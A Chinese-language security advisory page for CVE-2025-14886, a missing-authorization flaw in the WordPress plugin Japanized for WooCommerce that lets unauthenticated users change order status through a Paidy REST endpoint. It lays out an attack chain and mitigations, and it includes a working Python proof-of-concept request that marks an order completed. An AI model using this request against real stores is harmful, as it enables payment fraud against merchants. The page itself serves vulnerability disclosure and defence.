IPBUF安全漏洞报告
English
CVE-2025-14886 CVSS 5.3 中危

CVE-2025-14886 Japanized for WooCommerce插件未授权订单状态修改漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-14886
漏洞类型
授权绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Japanized for WooCommerce

相关标签

授权绕过REST APIWordPress插件WooCommerceJapanized for WooCommerce缺少权限检查订单状态篡改CVE-2025-14886

漏洞概述

CVE-2025-14886是WordPress插件Japanized for WooCommerce中的一个严重安全漏洞。该插件专门为WooCommerce提供日本本地化功能,包括日本支付网关支持、日元货币处理等功能。漏洞源于order REST API端点缺少权限检查(Missing Function Level Access Control),导致任何未认证的远程攻击者都可以通过发送特制的HTTP请求来修改任意WooCommerce订单的状态。具体来说,攻击者可以将订单标记为已付款、已处理或已完成状态,从而绕过正常的支付验证流程。这对于涉及实物商品或服务的电商网站来说尤为危险,攻击者可能通过此漏洞虚假确认订单以骗取商品或服务。漏洞影响该插件所有2.7.17及以前版本,CVSS评分5.3,属于中等严重程度。

技术细节

该漏洞位于插件的REST API处理逻辑中,具体代码位置在includes/gateways/paidy/class-wc-paidy-endpoint.php第51行附近。问题核心是WordPress REST API端点在注册时未正确设置权限回调函数(permission_callback),导致所有API端点对未认证用户开放。当攻击者构造恶意请求访问order相关端点时,服务器未能验证请求者是否具有相应权限即可执行订单状态修改操作。攻击者需要知道目标订单ID,然后通过发送POST请求到REST API端点,传入订单ID和期望的状态值(如completed)即可完成攻击。整个过程无需任何身份认证或会话令牌,攻击者只需构造正确的HTTP请求即可实现未授权访问。漏洞利用的关键在于REST API的权限检查机制被绕过,使得本应需要管理员或订单所有者权限的操作变得完全开放。

攻击链分析

STEP 1
1
信息收集:攻击者扫描目标WordPress网站,识别是否安装Japanized for WooCommerce插件及其版本
STEP 2
2
端点识别:发现暴露的REST API端点/wc-paidy/v1/order,该端点用于处理Paidy支付网关的订单回调
STEP 3
3
构造恶意请求:攻击者构造包含目标订单ID和新状态值的POST请求,无需任何认证信息
STEP 4
4
发送攻击载荷:向目标API端点发送恶意请求,由于缺少权限检查,请求被服务器接受
STEP 5
5
订单状态篡改:目标订单状态被修改为已完成/已处理,绕过正常支付验证流程
STEP 6
6
后续利用:攻击者利用虚假订单状态骗取商品、服务或积分,可能造成经济损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14886 PoC - Japanized for WooCommerce Unauthenticated Order Status Modification # Target: WordPress site with Japanized for WooCommerce plugin <= 2.7.17 target_url = "https://target-site.com/wp-json/wc-paidy/v1/order" order_id = 12345 # Target order ID new_status = "completed" # or "processing" # Prepare the payload to modify order status payload = { "order_id": order_id, "status": new_status } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # Send unauthenticated request to modify order status response = requests.post( target_url, json=payload, headers=headers, verify=False, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Order status modified successfully!") elif response.status_code == 401: print("[-] Authentication required (patched)") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

影响范围

Japanized for WooCommerce < 2.7.18

防御指南

临时缓解措施
如果无法立即升级插件,可以通过以下方式临时缓解:在Web应用防火墙(WAF)层面添加规则,限制对/wc-paidy/v1/order端点的访问;或使用WordPress插件限制REST API的公开访问;或在Web服务器配置中禁止未授权用户访问该API路径。同时建议监控订单状态变更日志,及时发现异常修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表